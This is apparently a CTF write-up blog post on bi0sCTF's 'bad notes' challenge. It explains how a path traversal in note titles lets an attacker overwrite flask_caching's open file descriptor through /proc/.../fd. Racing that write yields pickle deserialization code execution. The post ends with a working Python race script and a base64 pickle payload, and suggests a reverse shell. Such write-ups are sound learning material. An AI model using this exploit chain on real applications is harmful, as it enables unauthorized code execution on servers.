# *SOME WEB THINGs THAT I LEARNED (part 7)* #### Recently i got some new things that i learned from some challs that i want to share. ##### These are the challenges from the recently bi0sCTF. It was super cool and i want you guys to continue the journey with me >.<. Let's BEGIN. ## I. bad notes - It's a chalenge where I find it got super cool technique. Let's dive in. ### 1. Challenge - It's another note challenge from the note challenge series from bi0sCTF. It lets you upload note on to the website and view it, simple enough right? #### a) Source code: - First, it's setting up for cache, config, ... plus a function to connect to database, and a function to filter if the user upload a sus file. ![image](https://hackmd.io/_uploads/By5xIfUTT.png) - Moving on to the routes: - **```/dashboard```**: cache for 1 seconds, then redirect to ```/login``` if ```loggedin``` session doesn't exist. If exist, joinh the path containing all the uploaded files and render it out.![image](https://hackmd.io/_uploads/H1-_wGLTa.png) - **```/login```**: simple login function using query.![image](https://hackmd.io/_uploads/HJ2Y_MU66.png) - **```/register```**: register user with query and create a directory to store user uploaded files.![image](https://hackmd.io/_uploads/r1PNiG8pT.png) - **```/makenote```**: user will input the title and the content of a note. The content of the note will be base64 encoded before saving into the folder. Simple enough, but it face a problem. At line 115, it uses ```os.path.join```, without proper sanitization here, a *path traversal* can happen.![image](https://hackmd.io/_uploads/BkRB7m8pT.png) - **```/viewnote/<title>```**: check for the user, then call to the user directory store on the server to return the note. Using ```os.path.join``` but before that checks the title whether it exists in ```notes_list```, so nothing can be done here. #### b) Planning: - Usually this part of blog where i tend to build my ideas, but for this challenge, analyzing the source code is not enough, sort of ... ### 2. The process - The challenge uses flask-caching, so why don't we have a look at it, maybe we will find something. #### a) flask_caching: - The challenge setting up the config for cache, setting the cache type and calling ```init_app``` function:![image](https://hackmd.io/_uploads/H1WDKo86T.png) - *```init_app```*: - The function first check which config to use, whether from base, or from our setting:![image](https://hackmd.io/_uploads/SyqU5oL6a.png) - It then sets the default value:![image](https://hackmd.io/_uploads/B1vqcoUpa.png) - It then checks for whether ```CACHE_TYPE``` is set. If yes, then if ```CACHE_DIR``` is too. Finally, it set the cache using the ```_set_cache``` function: ![image](https://hackmd.io/_uploads/SyD65oLp6.png) - *```_set_cache```*: - It first check for the ```CACHE_TYPE```, which then will import it form the backend by concatnating the cache type name to a route:![image](https://hackmd.io/_uploads/rysvjoIa6.png) - It then checks for the attribute being set to the cache, like whether the imported cache type is available and a subclass from the ```Basecache``` main class, so on ...:![image](https://hackmd.io/_uploads/Sk4WhoUTa.png) - Let's look at the backend to see what's it importing. - *```FileSystemCache```*: - Import the require value:![image](https://hackmd.io/_uploads/HkkUai8TT.png) - Setting value to each attribute, here you can see its using BaseCache and cachelib: ![image](https://hackmd.io/_uploads/SyG_TjLTa.png) - *```BaseCache```*: - Create main class with its attribute:![image](https://hackmd.io/_uploads/HJjmCiIpp.png) - Create function for the class to be use when called:![image](https://hackmd.io/_uploads/BkArJ3U6T.png) - Inside cachelib, ```base.py``` and ```file.py``` is for basecache and filesystemcache.![image](https://hackmd.io/_uploads/r12bWnU6T.png) - *```file.py```*: - Import require stuff:![image](https://hackmd.io/_uploads/S1PyQn8T6.png) - Setting init attribute, finally, if threshold is not 0, then call to ```_update_count```:![image](https://hackmd.io/_uploads/SyvINh86T.png) - ```_update_count```: count the files. Then in the end call to the ```set``` function: ![image](https://hackmd.io/_uploads/BJWEH28Ta.png) - ```set```: first set value for its attribute:![image](https://hackmd.io/_uploads/BJxB8nL6p.png) - Then it use pickle to serialize the data, with the data being write to the fd using a method so called ```fdopen```:![image](https://hackmd.io/_uploads/B1wXP2UT6.png) - After pickle dumping the data into an fd, when accessing the dashboard, the cache process should be called:![image](https://hackmd.io/_uploads/HkOFlBoaT.png) - When called to ```.cached``` method, it will accessed its decorator:![image](https://hackmd.io/_uploads/SyXF-ripT.png) - Then it will check for the ```cache_key```. If it exists (in our case yes), it will called to ```cache.get``` method. Since **flask_caching**'s types all extends from ```BaseCache``` and uses ```Python pickle```, it will unserialize the data:![image](https://hackmd.io/_uploads/SJMuXroaa.png) ###### P/s this is where i stuck the most, even if debug since i thought that it will call to ```filesystemcache```, but instead call to ```simplecache```, but since all cache type uses pickle, the dât should be unserialize. - Now that's basically everything we need to know. But here's something. It's reading the data and serialize it from a file, but what will happened if we were a ble to, for example: **```overwrite that file```**. - Using python ```oss.fdopen```, it is reading from what's called a ***```File Descriptor```*** #### b) Concept: - So what is a ```File Descriptor```? - ***```File Descriptor```***: it is an unique ID thats the os sets to file when its being open, read or modify. It helps your system better with management. How it work is, for example: - Open a ```hello.txt``` file => The system assign it with **fd=5** - Read or Modify the file => the system uses the **fd** to call to read or write method. - So basically if you open 100 files, you will get 100 **fd**, each fd represents a file being open, read or modify during the process. ***File Descriptor*** will have 3 default **fd**, one for stdin, one for stdou, and the last one for stderr. - Using ```os.fdopen``` method from Python, it returns an open file object connected to a file descriptor. So that's mean, for example, when it caches it write the caches to a file, it also opens a file descriptor for that cache file during the process and serializes the data from it. - Now remember ```flask_caching``` uses ```Pickle Python```, and we cannot write to a cache file since its being filter, so how about its ***File Descriptor***?? #### c) Summary: - The web app uses ```flask_caching```, which utilize python ```pickle``` to serialize data from a **File Descriptor**. - The web app parse the data to cache, but its being filter. - Being not able to write to ```/caches```, but no filter to the **fd** path, we able to overwrite the data in that **fd**, which when the app caches, serialize out data and execute the command which we inject. - Using ```pickle``` we can generate a rev shell back to our host to get the flag. ### 3. Exploitation: - Let's begin building our exploit. First let's keep in mind that the cache process only takes 1 seconds, we will need to ```Race Condition``` it to get our payload through. Once our payload is send at the same time as the cache process is called, we will be able to overwrite it. - You can either do it with Burp Intruder, or write a script to it. I'll show both ways. - With Burp, let's create an account and login, simple enough. ![image](https://hackmd.io/_uploads/rJOtQbPa6.png) - Now we see that the app is vuln to path traversal. And it concatenate our note's title into the path. This could mean that we can create a note's title: ```../../../../proc/<pid>/fd/id``` and the content is our pickled payload. - In terms of the challenge, the pid should be different for us locahost and the challenge, and also the id. We dont know the pid so we need to brute it, while id should be around 3 to 8 (not to much since we can observe through our docker). - Our pickle payload is pretty simple right? But when testing, when running it on Window it will use the ```nt``` module => somehow our app will return no module found. Now if we ran it on Debian/ubuntu it will use the ```posix```, which works. If you wonder why its different for each OS, you can read it here: https://stackoverflow.com/questions/68987128/why-python-pickle-is-different-between-win-linux-with-using-os - You can see here it using different modules:![image](https://hackmd.io/_uploads/HkOQwZvTa.png) ![image](https://hackmd.io/_uploads/rk7Ew-Pa6.png) - Now what we wanna do, is to spam calling to dashboard, while also spam calling makenote, its a race cond what ya expect xD. For the sake of the blog, access docker will reveil our pid, which is 1, let's use that. - Calling to ```/dashboard```: ![image](https://hackmd.io/_uploads/Hk6-L-PT6.png) - Calling to ```/makenote```: ![image](https://hackmd.io/_uploads/B1qZKWD66.png) - - Send both as null payloads and let it spam, we need to spam our dashboard more than our makenote, so I'm going to run ```/dashboard``` infinitely while ```makenote``` Imma run for rounf 1 or 2K, since Burp is fast that should be enough. - A trick you can use to see the process easier is to ```ls -la``` the **fd** while in Docker, this should list out every fds. Run ```while true; do ls -la; sleep 1; done``` to list out everthing every 1 sec. Let's send our payload and observe. - Here you can see ```fd=8``` called to ```app/caches```. ![image](https://hackmd.io/_uploads/HkVuFZPT6.png) - Check ```/app```, since my payload create a text file called lmao.txt, let's see if its there. ![image](https://hackmd.io/_uploads/rJTTK-DT6.png) - Aha, looks like it works. GG super cool challenge. Also here is my script: ```python import threading import requests import time base_url = "http://localhost:7000" def sendCache(): url = f"{base_url}/dashboard" headers = { "Cookie": "session=<cookie>" } while True: response = requests.get(url, headers=headers) print(response) def bruteShell(): url = f"{base_url}/makenote" headers = { "Cookie": "session=<cookie>" } data = { "title":"../../../../proc/self/fd/5", "content": "AAAAAIAElS4AAAAAAAAAjAVwb3NpeJSMBnN5c3RlbZSTlIwTdG91Y2ggL2FwcC9sbWFvLnR4dJSFlFKULg==" } for _ in range(3500): response = requests.post(url, headers=headers, data=data) print(response) def runProcesses(): thread_send_cache = threading.Thread(target=sendCache) thread_brute_shell = threading.Thread(target=bruteShell) thread_send_cache.start() time.sleep(8) thread_brute_shell.start() thread_send_cache.join() thread_brute_shell.join() runProcesses() ``` ###### P/s: I sleep 8 seconds to ensure that the cache actually happens. - To get the flag, you can rev shell it. Should be simple enough. If you wonder why i add ```\x00\x00\x00\x00``` at the start of the payload, you can test without it to see what will happen xDDD. It's because this part when unserialize the pickled data:![image](https://hackmd.io/_uploads/S19CO8DT6.png) - It check for the first 4 bytes if it is 0, then will load the data. ### What i learned - Learn about what a **File Descriptor** is and what it is used for. - Now about a cool new technique and debugging with docker. ## Thank you for reading >.< Gud bye ![image](https://hackmd.io/_uploads/rk-UgZatp.png)